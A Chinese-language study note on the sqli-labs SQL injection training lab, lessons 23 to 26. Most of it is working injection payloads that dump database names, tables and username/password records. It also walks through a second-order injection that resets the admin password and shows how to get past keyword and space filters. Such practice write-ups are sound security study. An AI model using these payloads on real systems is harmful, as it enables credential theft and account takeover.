sqli-labs学习笔记 DAY4

DAY 4

sqli-labs lesson 23

• 与lesson 1一样，只不过屏蔽了#和–注释符。
• 报错型注入：
  • 爆库：id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3
  • 爆表：?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)),'3
  • 爆字段：?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)),'3
  • 爆记录：?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select concat_ws(’,’,username,password) from security.users limit n,1),0x7e)),'3
• 联合查询
  • 爆库：?id=99’ UNION SELECT 1,database(),'3
  • 爆表：?id=99’ UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
  • 爆字段：?id=99’ UNION SELECT 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
  • 爆记录：?id=99’ UNION SELECT 1,(SELECT group_concat(concat_ws(’;’,username,password)) from security.users ),'3

sqli-labs lesson 24

• 预备知识：什么是二次注入
  • 简单的说，就是在第一次注入时，注入的SQL语句被转义了，从而直接存储到了数据库中，因此，在第二次注入时，直接调用了原始内容进行操作，从而导致注入成功。
• 注册admin’;#账号

• 从修改密码的源代码可以看到这一句：

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

• 登陆admin’;#
• 这时，我们修改密码，形成的SQL语句将是：

UPDATE users SET PASSWORD='$pass' where username='admin';#' and password='$curr_pass'

显然，我们把admin用户的密码给改了！

• 尝试用新密码登陆admin账户：
  
  
  
  成功了！

sqli-labs lesson 25

• 这里过滤了or和and，可以用||和&&（&是URL参数分隔符，需要编码使用）代替，但是也会有问题，单词中的or也被过滤了，查看源代码，发现只是把or和and进行了一次过滤，并且还是替换成了空字符，所以也很好办，比如information，只要写成infoorrmation就可以了。

sqli-labs lesson 25a

• 与上一题一样，只是参数是数值型并且没有错误显示了，无法使用报错型注入而已。

sqli-labs lesson 26

• 过滤加强了！

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

• 最麻烦的就是空格的过滤了，如果服务器是Linux的，可以使用%a0特殊字符代替，否则，可以使用括号来绕过
• 直接报错型注入
• 爆库：?id=99’||extractvalue(1,concat(0x7e,(database()),0x7e))||'3
• 爆表：?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),0x7e))||'1
• 爆字段：?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’%26%26table_schema=‘security’)),0x7e))||'1
• 爆记录：?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(";",username,passwoorrd)))from(security.users)),0x7e))||'1
• 由于报错型注入返回的长度有限制，而limit的参数无法用括号包围，可以使用where限制语句直接找出admin的记录，也可以使用mid函数来截取。